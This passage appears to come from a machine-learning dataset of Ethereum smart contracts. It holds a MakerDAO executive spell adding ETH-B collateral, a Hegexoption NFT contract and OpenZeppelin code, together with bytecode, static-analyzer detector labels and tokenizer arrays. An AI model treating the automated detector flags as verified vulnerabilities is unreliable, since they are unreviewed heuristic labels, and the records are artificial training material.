fffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a723058205b34632683c594265b97efd7d65b3042111bd66fb116f30c85145aa34db884570029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2546, 24087, 2509, 2497, 16147, 27009, 2692, 2278, 2620, 19797, 2278, 2692, 2509, 19797, 2683, 2620, 2487, 2278, 28756, 2497, 2683, 2683, 21084, 4783, 23777, 2581, 2581, 2094, 2692, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2538, 1025, 3206, 1042, 17603, 1035, 11103, 1035, 2462, 1035, 6070, 2509, 1063, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 2270, 5703, 11253, 1025, 5164, 2270, 2171, 1027, 1000, 1042, 17603, 1035, 11103, 1035, 2462, 1035, 6070, 2509, 1000, 1025, 5164, 2270, 6454, 1027, 1000, 1042, 17603, 2620, 2620, 2509, 6137, 1000, 1025, 21318, 3372, 2620, 2270, 26066, 2015, 1027, 2324, 1025, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1027, 25113, 16048, 16086, 24096, 17788, 2692, 2620, 2581, 28332, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,541
0x96f6cd23fd450d30a12ea0d14fcecc8ae8b4bc25
// hevm: flattened sources of src/DssSpell.sol pragma solidity =0.5.12 >0.4.13 >=0.4.23 >=0.5.12; ////// lib/dss-interfaces/src/dapp/DSPauseAbstract.sol /* pragma solidity >=0.5.12; */ // https://github.com/dapphub/ds-pause interface DSPauseAbstract { function setOwner(address) external; function setAuthority(address) external; function setDelay(uint256) external; function plans(bytes32) external view returns (bool); function proxy() external view returns (address); function delay() external view returns (uint256); function plot(address, bytes32, bytes calldata, uint256) external; function drop(address, bytes32, bytes calldata, uint256) external; function exec(address, bytes32, bytes calldata, uint256) external returns (bytes memory); } ////// lib/dss-interfaces/src/dss/CatAbstract.sol /* pragma solidity >=0.5.12; */ // https://github.com/makerdao/dss/blob/master/src/cat.sol interface CatAbstract { function wards(address) external view returns (uint256); function rely(address) external; function deny(address) external; function box() external view returns (uint256); function litter() external view returns (uint256); function ilks(bytes32) external view returns (address, uint256, uint256); function live() external view returns (uint256); function vat() external view returns (address); function vow() external view returns (address); function file(bytes32, address) external; function file(bytes32, uint256) external; function file(bytes32, bytes32, uint256) external; function file(bytes32, bytes32, address) external; function bite(bytes32, address) external returns (uint256); function claw(uint256) external; function cage() external; } ////// lib/dss-interfaces/src/dss/ChainlogAbstract.sol /* pragma solidity >=0.5.12; */ // https://github.com/makerdao/dss-chain-log interface ChainlogAbstract { function wards(address) external view returns (uint256); function rely(address) external; function deny(address) external; function keys() external view returns (bytes32[] memory); function version() external view returns (string memory); function ipfs() external view returns (string memory); function setVersion(string calldata) external; function setSha256sum(string calldata) external; function setIPFS(string calldata) external; function setAddress(bytes32,address) external; function removeAddress(bytes32) external; function count() external view returns (uint256); function get(uint256) external view returns (bytes32,address); function list() external view returns (bytes32[] memory); function getAddress(bytes32) external view returns (address); } ////// lib/dss-interfaces/src/dss/FlipAbstract.sol /* pragma solidity >=0.5.12; */ // https://github.com/makerdao/dss/blob/master/src/flip.sol interface FlipAbstract { function wards(address) external view returns (uint256); function rely(address usr) external; function deny(address usr) external; function bids(uint256) external view returns (uint256, uint256, address, uint48, uint48, address, address, uint256); function vat() external view returns (address); function cat() external view returns (address); function ilk() external view returns (bytes32); function beg() external view returns (uint256); function ttl() external view returns (uint48); function tau() external view returns (uint48); function kicks() external view returns (uint256); function file(bytes32, uint256) external; function kick(address, address, uint256, uint256, uint256) external returns (uint256); function tick(uint256) external; function tend(uint256, uint256, uint256) external; function dent(uint256, uint256, uint256) external; function deal(uint256) external; function yank(uint256) external; } ////// lib/dss-interfaces/src/dss/GemJoinAbstract.sol /* pragma solidity >=0.5.12; */ // https://github.com/makerdao/dss/blob/master/src/join.sol interface GemJoinAbstract { function wards(address) external view returns (uint256); function rely(address) external; function deny(address) external; function vat() external view returns (address); function ilk() external view returns (bytes32); function gem() external view returns (address); function dec() external view returns (uint256); function live() external view returns (uint256); function cage() external; function join(address, uint256) external; function exit(address, uint256) external; } ////// lib/dss-interfaces/src/dss/IlkRegistryAbstract.sol /* pragma solidity >=0.5.12; */ // https://github.com/makerdao/ilk-registry interface IlkRegistryAbstract { function wards(address) external view returns (uint256); function rely(address) external; function deny(address) external; function vat() external view returns (address); function cat() external view returns (address); function spot() external view returns (address); function ilkData(bytes32) external view returns ( uint256, address, address, address, address, uint256, string memory, string memory ); function ilks() external view returns (bytes32[] memory); function ilks(uint) external view returns (bytes32); function add(address) external; function remove(bytes32) external; function update(bytes32) external; function removeAuth(bytes32) external; function file(bytes32, address) external; function file(bytes32, bytes32, address) external; function file(bytes32, bytes32, uint256) external; function file(bytes32, bytes32, string calldata) external; function count() external view returns (uint256); function list() external view returns (bytes32[] memory); function list(uint256, uint256) external view returns (bytes32[] memory); function get(uint256) external view returns (bytes32); function info(bytes32) external view returns ( string memory, string memory, uint256, address, address, address, address ); function pos(bytes32) external view returns (uint256); function gem(bytes32) external view returns (address); function pip(bytes32) external view returns (address); function join(bytes32) external view returns (address); function flip(bytes32) external view returns (address); function dec(bytes32) external view returns (uint256); function symbol(bytes32) external view returns (string memory); function name(bytes32) external view returns (string memory); } ////// lib/dss-interfaces/src/dss/JugAbstract.sol /* pragma solidity >=0.5.12; */ // https://github.com/makerdao/dss/blob/master/src/jug.sol interface JugAbstract { function wards(address) external view returns (uint256); function rely(address) external; function deny(address) external; function ilks(bytes32) external view returns (uint256, uint256); function vat() external view returns (address); function vow() external view returns (address); function base() external view returns (address); function init(bytes32) external; function file(bytes32, bytes32, uint256) external; function file(bytes32, uint256) external; function file(bytes32, address) external; function drip(bytes32) external returns (uint256); } ////// lib/dss-interfaces/src/dss/MedianAbstract.sol /* pragma solidity >=0.5.12; */ // https://github.com/makerdao/median interface MedianAbstract { function wards(address) external view returns (uint256); function rely(address) external; function deny(address) external; function age() external view returns (uint32); function wat() external view returns (bytes32); function bar() external view returns (uint256); function orcl(address) external view returns (uint256); function bud(address) external view returns (uint256); function slot(uint8) external view returns (address); function read() external view returns (uint256); function peek() external view returns (uint256, bool); function lift(address[] calldata) external; function drop(address[] calldata) external; function setBar(uint256) external; function kiss(address) external; function diss(address) external; function kiss(address[] calldata) external; function diss(address[] calldata) external; function poke(uint256[] calldata, uint256[] calldata, uint8[] calldata, bytes32[] calldata, bytes32[] calldata) external; } ////// lib/dss-interfaces/src/dss/OsmAbstract.sol /* pragma solidity >=0.5.12; */ // https://github.com/makerdao/osm interface OsmAbstract { function wards(address) external view returns (uint256); function rely(address) external; function deny(address) external; function stopped() external view returns (uint256); function src() external view returns (address); function hop() external view returns (uint16); function zzz() external view returns (uint64); function cur() external view returns (uint128, uint128); function nxt() external view returns (uint128, uint128); function bud(address) external view returns (uint256); function stop() external; function start() external; function change(address) external; function step(uint16) external; function void() external; function pass() external view returns (bool); function poke() external; function peek() external view returns (bytes32, bool); function peep() external view returns (bytes32, bool); function read() external view returns (bytes32); function kiss(address) external; function diss(address) external; function kiss(address[] calldata) external; function diss(address[] calldata) external; } ////// lib/dss-interfaces/src/dss/OsmMomAbstract.sol /* pragma solidity >=0.5.12; */ // https://github.com/makerdao/osm-mom interface OsmMomAbstract { function owner() external view returns (address); function authority() external view returns (address); function osms(bytes32) external view returns (address); function setOsm(bytes32, address) external; function setOwner(address) external; function setAuthority(address) external; function stop(bytes32) external; } ////// lib/dss-interfaces/src/dss/SpotAbstract.sol /* pragma solidity >=0.5.12; */ // https://github.com/makerdao/dss/blob/master/src/spot.sol interface SpotAbstract { function wards(address) external view returns (uint256); function rely(address) external; function deny(address) external; function ilks(bytes32) external view returns (address, uint256); function vat() external view returns (address); function par() external view returns (uint256); function live() external view returns (uint256); function file(bytes32, bytes32, address) external; function file(bytes32, uint256) external; function file(bytes32, bytes32, uint256) external; function poke(bytes32) external; function cage() external; } ////// lib/dss-interfaces/src/dss/VatAbstract.sol /* pragma solidity >=0.5.12; */ // https://github.com/makerdao/dss/blob/master/src/vat.sol interface VatAbstract { function wards(address) external view returns (uint256); function rely(address) external; function deny(address) external; function can(address, address) external view returns (uint256); function hope(address) external; function nope(address) external; function ilks(bytes32) external view returns (uint256, uint256, uint256, uint256, uint256); function urns(bytes32, address) external view returns (uint256, uint256); function gem(bytes32, address) external view returns (uint256); function dai(address) external view returns (uint256); function sin(address) external view returns (uint256); function debt() external view returns (uint256); function vice() external view returns (uint256); function Line() external view returns (uint256); function live() external view returns (uint256); function init(bytes32) external; function file(bytes32, uint256) external; function file(bytes32, bytes32, uint256) external; function cage() external; function slip(bytes32, address, int256) external; function flux(bytes32, address, address, uint256) external; function move(address, address, uint256) external; function frob(bytes32, address, address, address, int256, int256) external; function fork(bytes32, address, address, int256, int256) external; function grab(bytes32, address, address, address, int256, int256) external; function heal(uint256) external; function suck(address, address, uint256) external; function fold(bytes32, address, int256) external; } ////// src/DssSpell.sol // Copyright (C) 2020 Maker Ecosystem Growth Holdings, INC. // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /* pragma solidity 0.5.12; */ /* import "lib/dss-interfaces/src/dapp/DSPauseAbstract.sol"; */ /* import "lib/dss-interfaces/src/dss/CatAbstract.sol"; */ /* import "lib/dss-interfaces/src/dss/FlipAbstract.sol"; */ /* import "lib/dss-interfaces/src/dss/IlkRegistryAbstract.sol"; */ /* import "lib/dss-interfaces/src/dss/GemJoinAbstract.sol"; */ /* import "lib/dss-interfaces/src/dss/JugAbstract.sol"; */ /* import "lib/dss-interfaces/src/dss/MedianAbstract.sol"; */ /* import "lib/dss-interfaces/src/dss/OsmAbstract.sol"; */ /* import "lib/dss-interfaces/src/dss/OsmMomAbstract.sol"; */ /* import "lib/dss-interfaces/src/dss/SpotAbstract.sol"; */ /* import "lib/dss-interfaces/src/dss/VatAbstract.sol"; */ /* import "lib/dss-interfaces/src/dss/ChainlogAbstract.sol"; */ contract SpellAction { // MAINNET ADDRESSES // // The contracts in this list should correspond to MCD core contracts, verify // against the current release list at: // https://changelog.makerdao.com/releases/mainnet/1.1.2/contracts.json address constant MCD_VAT = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B; address constant MCD_CAT = 0xa5679C04fc3d9d8b0AaB1F0ab83555b301cA70Ea; address constant MCD_JUG = 0x19c0976f590D67707E62397C87829d896Dc0f1F1; address constant MCD_SPOT = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3; address constant MCD_POT = 0x197E90f9FAD81970bA7976f33CbD77088E5D7cf7; address constant MCD_END = 0xaB14d3CE3F733CACB76eC2AbE7d2fcb00c99F3d5; address constant FLIPPER_MOM = 0xc4bE7F74Ee3743bDEd8E0fA218ee5cf06397f472; address constant OSM_MOM = 0x76416A4d5190d071bfed309861527431304aA14f; address constant ILK_REGISTRY = 0x8b4ce5DCbb01e0e1f0521cd8dCfb31B308E52c24; address constant CHAINLOG = 0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F; // ETH-B specific addresses address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address constant MCD_JOIN_ETH_B = 0x08638eF1A205bE6762A8b935F5da9b700Cf7322c; address constant MCD_FLIP_ETH_B = 0xD499d71bE9e9E5D236A07ac562F7B6CeacCa624c; address constant PIP_ETH = 0x81FE72B5A8d1A857d176C3E7d5Bd2679A9B85763; // OSM // Decimals & precision uint256 constant THOUSAND = 10 ** 3; uint256 constant MILLION = 10 ** 6; uint256 constant WAD = 10 ** 18; uint256 constant RAY = 10 ** 27; uint256 constant RAD = 10 ** 45; // Many of the settings that change weekly rely on the rate accumulator // described at https://docs.makerdao.com/smart-contract-modules/rates-module // To check this yourself, use the following rate calculation (example 8%): // // $ bc -l <<< 'scale=27; e( l(1.08)/(60 * 60 * 24 * 365) )' // // A table of rates can be found at // https://ipfs.io/ipfs/QmefQMseb3AiTapiAKKexdKHig8wroKuZbmLtPLv4u2YwW uint256 constant SIX_PCT_RATE = 1000000001847694957439350562; function execute() external { /*** ETH-B Collateral Onboarding ***/ // $ seth --to-bytes32 $(seth --from-ascii "ETH-B") // 0x4554482d42000000000000000000000000000000000000000000000000000000 bytes32 ilk = "ETH-B"; // Sanity checks require(GemJoinAbstract(MCD_JOIN_ETH_B).vat() == MCD_VAT, "join-vat-not-match"); require(GemJoinAbstract(MCD_JOIN_ETH_B).ilk() == ilk, "join-ilk-not-match"); require(GemJoinAbstract(MCD_JOIN_ETH_B).gem() == ETH, "join-gem-not-match"); require(GemJoinAbstract(MCD_JOIN_ETH_B).dec() == 18, "join-dec-not-match"); require(FlipAbstract(MCD_FLIP_ETH_B).vat() == MCD_VAT, "flip-vat-not-match"); require(FlipAbstract(MCD_FLIP_ETH_B).cat() == MCD_CAT, "flip-cat-not-match"); require(FlipAbstract(MCD_FLIP_ETH_B).ilk() == ilk, "flip-ilk-not-match"); // Add the new flip and join to the Chainlog ChainlogAbstract(CHAINLOG).setAddress("MCD_JOIN_ETH_B", MCD_JOIN_ETH_B); ChainlogAbstract(CHAINLOG).setAddress("MCD_FLIP_ETH_B", MCD_FLIP_ETH_B); ChainlogAbstract(CHAINLOG).setVersion("1.1.3"); // Set the TOKEN PIP in the Spotter SpotAbstract(MCD_SPOT).file(ilk, "pip", PIP_ETH); // Set the TOKEN-LETTER Flipper in the Cat CatAbstract(MCD_CAT).file(ilk, "flip", MCD_FLIP_ETH_B); // Init TOKEN-LETTER ilk in Vat & Jug VatAbstract(MCD_VAT).init(ilk); JugAbstract(MCD_JUG).init(ilk); // Allow TOKEN-LETTER Join to modify Vat registry VatAbstract(MCD_VAT).rely(MCD_JOIN_ETH_B); // Allow the TOKEN-LETTER Flipper to reduce the Cat litterbox on deal() CatAbstract(MCD_CAT).rely(MCD_FLIP_ETH_B); // Allow Cat to kick auctions in TOKEN-LETTER Flipper FlipAbstract(MCD_FLIP_ETH_B).rely(MCD_CAT); // Allow End to yank auctions in TOKEN-LETTER Flipper FlipAbstract(MCD_FLIP_ETH_B).rely(MCD_END); // Allow FlipperMom to access to the TOKEN-LETTER Flipper FlipAbstract(MCD_FLIP_ETH_B).rely(FLIPPER_MOM); // Disallow Cat to kick auctions in TOKEN-LETTER Flipper // !!!!!!!! Only for certain collaterals that do not trigger liquidations like USDC-A) //FlipperMomAbstract(FLIPPER_MOM).deny(MCD_FLIP_ETH_B); // Allow OsmMom to access to the TOKEN Osm // !!!!!!!! Only if PIP_TOKEN = Osm and hasn't been already relied due a previous deployed ilk //OsmAbstract(PIP_TOKEN).rely(OSM_MOM); // Whitelist Osm to read the Median data (only necessary if it is the first time the token is being added to an ilk) // !!!!!!!! Only if PIP_TOKEN = Osm, its src is a Median and hasn't been already whitelisted due a previous deployed ilk //MedianAbstract(OsmAbstract(PIP_TOKEN).src()).kiss(PIP_TOKEN); // Whitelist Spotter to read the Osm data (only necessary if it is the first time the token is being added to an ilk) // !!!!!!!! Only if PIP_TOKEN = Osm or PIP_TOKEN = Median and hasn't been already whitelisted due a previous deployed ilk //OsmAbstract(PIP_TOKEN).kiss(MCD_SPOT); // Whitelist End to read the Osm data (only necessary if it is the first time the token is being added to an ilk) // !!!!!!!! Only if PIP_TOKEN = Osm or PIP_TOKEN = Median and hasn't been already whitelisted due a previous deployed ilk //OsmAbstract(PIP_TOKEN).kiss(MCD_END); // Set TOKEN Osm in the OsmMom for new ilk // !!!!!!!! Only if PIP_TOKEN = Osm OsmMomAbstract(OSM_MOM).setOsm(ilk, PIP_ETH); // Set the global debt ceiling VatAbstract(MCD_VAT).file("Line", 1476 * MILLION * RAD); // Set the TOKEN-LETTER debt ceiling VatAbstract(MCD_VAT).file(ilk, "line", 20 * MILLION * RAD); // Set the TOKEN-LETTER dust VatAbstract(MCD_VAT).file(ilk, "dust", 100 * RAD); // Set the Lot size CatAbstract(MCD_CAT).file(ilk, "dunk", 50 * THOUSAND * RAD); // Set the TOKEN-LETTER liquidation penalty (e.g. 13% => X = 113) CatAbstract(MCD_CAT).file(ilk, "chop", 113 * WAD / 100); // Set the TOKEN-LETTER stability fee (e.g. 1% = 1000000000315522921573372069) JugAbstract(MCD_JUG).file(ilk, "duty", SIX_PCT_RATE); // Set the TOKEN-LETTER percentage between bids (e.g. 3% => X = 103) FlipAbstract(MCD_FLIP_ETH_B).file("beg", 103 * WAD / 100); // Set the TOKEN-LETTER time max time between bids FlipAbstract(MCD_FLIP_ETH_B).file("ttl", 6 hours); // Set the TOKEN-LETTER max auction duration to FlipAbstract(MCD_FLIP_ETH_B).file("tau", 6 hours); // Set the TOKEN-LETTER min collateralization ratio (e.g. 150% => X = 150) SpotAbstract(MCD_SPOT).file(ilk, "mat", 130 * RAY / 100); // Update TOKEN-LETTER spot value in Vat SpotAbstract(MCD_SPOT).poke(ilk); // Add new ilk to the IlkRegistry IlkRegistryAbstract(ILK_REGISTRY).add(MCD_JOIN_ETH_B); } } contract DssSpell { DSPauseAbstract public pause = DSPauseAbstract(0xbE286431454714F511008713973d3B053A2d38f3); address public action; bytes32 public tag; uint256 public eta; bytes public sig; uint256 public expiration; bool public done; // Provides a descriptive tag for bot consumption // This should be modified weekly to provide a summary of the actions // Hash: seth keccak -- "$(wget https://raw.githubusercontent.com/makerdao/community/6a97b8f1f145d86b2ea898826cd3232a5abc7c1d/governance/votes/Executive%20vote%20-%20October%2016%2C%202020.md -q -O - 2>/dev/null)" string constant public description = "2020-10-16 MakerDAO Executive Spell | Hash: 0xbaf455a1f3360f0d9f9941f79626e38344c5c58e96c4d2cf03461995fa1fe913"; constructor() public { sig = abi.encodeWithSignature("execute()"); action = address(new SpellAction()); bytes32 _tag; address _action = action; assembly { _tag := extcodehash(_action) } tag = _tag; expiration = now + 30 days; } modifier officeHours { uint day = (now / 1 days + 3) % 7; require(day < 5, "Can only be cast on a weekday"); uint hour = now / 1 hours % 24; require(hour >= 14 && hour < 21, "Outside office hours"); _; } function schedule() public { require(now <= expiration, "This contract has expired"); require(eta == 0, "This spell has already been scheduled"); eta = now + DSPauseAbstract(pause).delay(); pause.plot(action, tag, sig, eta); } function cast() public officeHours { require(!done, "spell-already-cast"); done = true; pause.exec(action, tag, sig, eta); } }
0x608060405234801561001057600080fd5b506004361061008d5760003560e01c8062a7029b146100925780630a7a1c4d1461010f5780634665096d1461013357806351f910661461014d5780637284e416146101555780638456cb591461015d57806396d373e514610165578063ae8421e11461016f578063b0604a261461018b578063f7992d8514610193575b600080fd5b61009a61019b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100d45781810151838201526020016100bc565b50505050905090810190601f1680156101015780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610117610229565b604080516001600160a01b039092168252519081900360200190f35b61013b610238565b60408051918252519081900360200190f35b61013b61023e565b61009a610244565b610117610260565b61016d61026f565b005b61017761056d565b604080519115158252519081900360200190f35b61016d610576565b61013b610792565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156102215780601f106101f657610100808354040283529160200191610221565b820191906000526020600020905b81548152906001019060200180831161020457829003601f168201915b505050505081565b6001546001600160a01b031681565b60055481565b60025481565b6040518060a00160405280606e8152602001610799606e913981565b6000546001600160a01b031681565b600762015180420460030106600581106102d0576040805162461bcd60e51b815260206004820152601d60248201527f43616e206f6e6c792062652063617374206f6e2061207765656b646179000000604482015290519081900360640190fd5b6018610e10420406600e81108015906102e95750601581105b610331576040805162461bcd60e51b81526020600482015260146024820152734f757473696465206f666669636520686f75727360601b604482015290519081900360640190fd5b60065460ff161561037e576040805162461bcd60e51b81526020600482015260126024820152711cdc195b1b0b585b1c9958591e4b58d85cdd60721b604482015290519081900360640190fd5b6006805460ff1916600190811790915560005481546002805460035460405163168ccd6760e01b81526001600160a01b039485166004828101828152602484018690526064840185905260806044850190815282546000199b811615610100029b909b01909a169690960460848401819052969097169763168ccd67979196949591949192909160a4909101908590801561045a5780601f1061042f5761010080835404028352916020019161045a565b820191906000526020600020905b81548152906001019060200180831161043d57829003601f168201915b505095505050505050600060405180830381600087803b15801561047d57600080fd5b505af1158015610491573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156104ba57600080fd5b8101908080516040519392919084600160201b8211156104d957600080fd5b9083019060208201858111156104ee57600080fd5b8251600160201b81118282018810171561050757600080fd5b82525081516020918201929091019080838360005b8381101561053457818101518382015260200161051c565b50505050905090810190601f1680156105615780820380516001836020036101000a031916815260200191505b50604052505050505050565b60065460ff1681565b6005544211156105c9576040805162461bcd60e51b8152602060048201526019602482015278151a1a5cc818dbdb9d1c9858dd081a185cc8195e1c1a5c9959603a1b604482015290519081900360640190fd5b600354156106085760405162461bcd60e51b81526004018080602001828103825260258152602001806108076025913960400191505060405180910390fd5b6000809054906101000a90046001600160a01b03166001600160a01b0316636a42b8f86040518163ffffffff1660e01b815260040160206040518083038186803b15801561065557600080fd5b505afa158015610669573d6000803e3d6000fd5b505050506040513d602081101561067f57600080fd5b50514201600381905560005460018054600280546040516346d2fbbb60e01b81526001600160a01b03938416600482810182815260248401859052606484018a90526080604485019081528254600019998116156101000299909901909816959095046084840181905295909716976346d2fbbb9791969395919490939092909160a490910190859080156107555780601f1061072a57610100808354040283529160200191610755565b820191906000526020600020905b81548152906001019060200180831161073857829003601f168201915b505095505050505050600060405180830381600087803b15801561077857600080fd5b505af115801561078c573d6000803e3d6000fd5b50505050565b6003548156fe323032302d31302d3136204d616b657244414f20457865637574697665205370656c6c207c20486173683a2030786261663435356131663333363066306439663939343166373936323665333833343463356335386539366334643263663033343631393935666131666539313354686973207370656c6c2068617320616c7265616479206265656e207363686564756c6564a265627a7a72315820495b93186a366d71317649471473f4e518faed3432b58cd1b5836ac8e3b5a18864736f6c634300050c0032
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2546, 2575, 19797, 21926, 2546, 2094, 19961, 2692, 2094, 14142, 27717, 2475, 5243, 2692, 2094, 16932, 11329, 8586, 2278, 2620, 6679, 2620, 2497, 2549, 9818, 17788, 1013, 1013, 2002, 2615, 2213, 1024, 16379, 4216, 1997, 5034, 2278, 1013, 16233, 4757, 11880, 2140, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1027, 1014, 1012, 1019, 1012, 2260, 1028, 1014, 1012, 1018, 1012, 2410, 1028, 1027, 1014, 1012, 1018, 1012, 2603, 1028, 1027, 1014, 1012, 1019, 1012, 2260, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 5622, 2497, 1013, 16233, 2015, 1011, 19706, 1013, 5034, 2278, 1013, 4830, 9397, 1013, 16233, 4502, 8557, 7875, 20528, 6593, 1012, 14017, 1013, 1008, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1019, 1012, 2260, 1025, 1008, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,542
0x96F70638F10b9AbB9A133b5685C880fB52156434
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.12; // Main collectible contract, wrapping NFT-compatible options import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./interfaces/IOptionChef.sol"; contract Hegexoption is ERC721, Ownable { using Counters for Counters.Counter; Counters.Counter private _tokenIds; //storage IOptionChef public optionChef; constructor(address payable _optionChef, string memory _base) ERC721("Hegex", "HEGEX") public { migrateChef(_optionChef); _setBaseURI(_base); } /** * @notice Migrate chef (timelocked in optionChef - effective after 72 hours) * @param _optionChef new chef owner address */ function migrateChef(address payable _optionChef) public onlyOwner { optionChef = IOptionChef(_optionChef); transferOwnership(_optionChef); } /** * @notice Mint shiny Hegexoption, Chef only * @param _to Beneficiary */ function mintHegexoption(address _to) public onlyOwner returns (uint256) { _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); _mint(_to, newItemId); //meta will be automatically set to BASE_URL/newItemId // _setTokenURI(newItemId, tokenURI); return newItemId; } /** * @notice Burn option shell, Chef only * @notice Might be removed in favour of off-chain metadata-based deprecation * @param _id Token ID */ function burnHegexoption(uint _id) public onlyOwner { _burn(_id); } /** * @notice Overcoming Hegic absence of approval mechanism to mint in one tx * @notice Lock token transfers unless (un)wrapping */ function _beforeTokenTransfer(address _from, address _to, uint256 _tokenId) internal override { require(optionChef.isDelegated(_tokenId) || _from == address(0) || _to == address(0), "UOPT:ownership/deleg"); } } // SPDX-License-Identifier: UNLICENSED pragma solidity 0.6.12; interface IOptionChef { function isDelegated(uint _tokenId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the 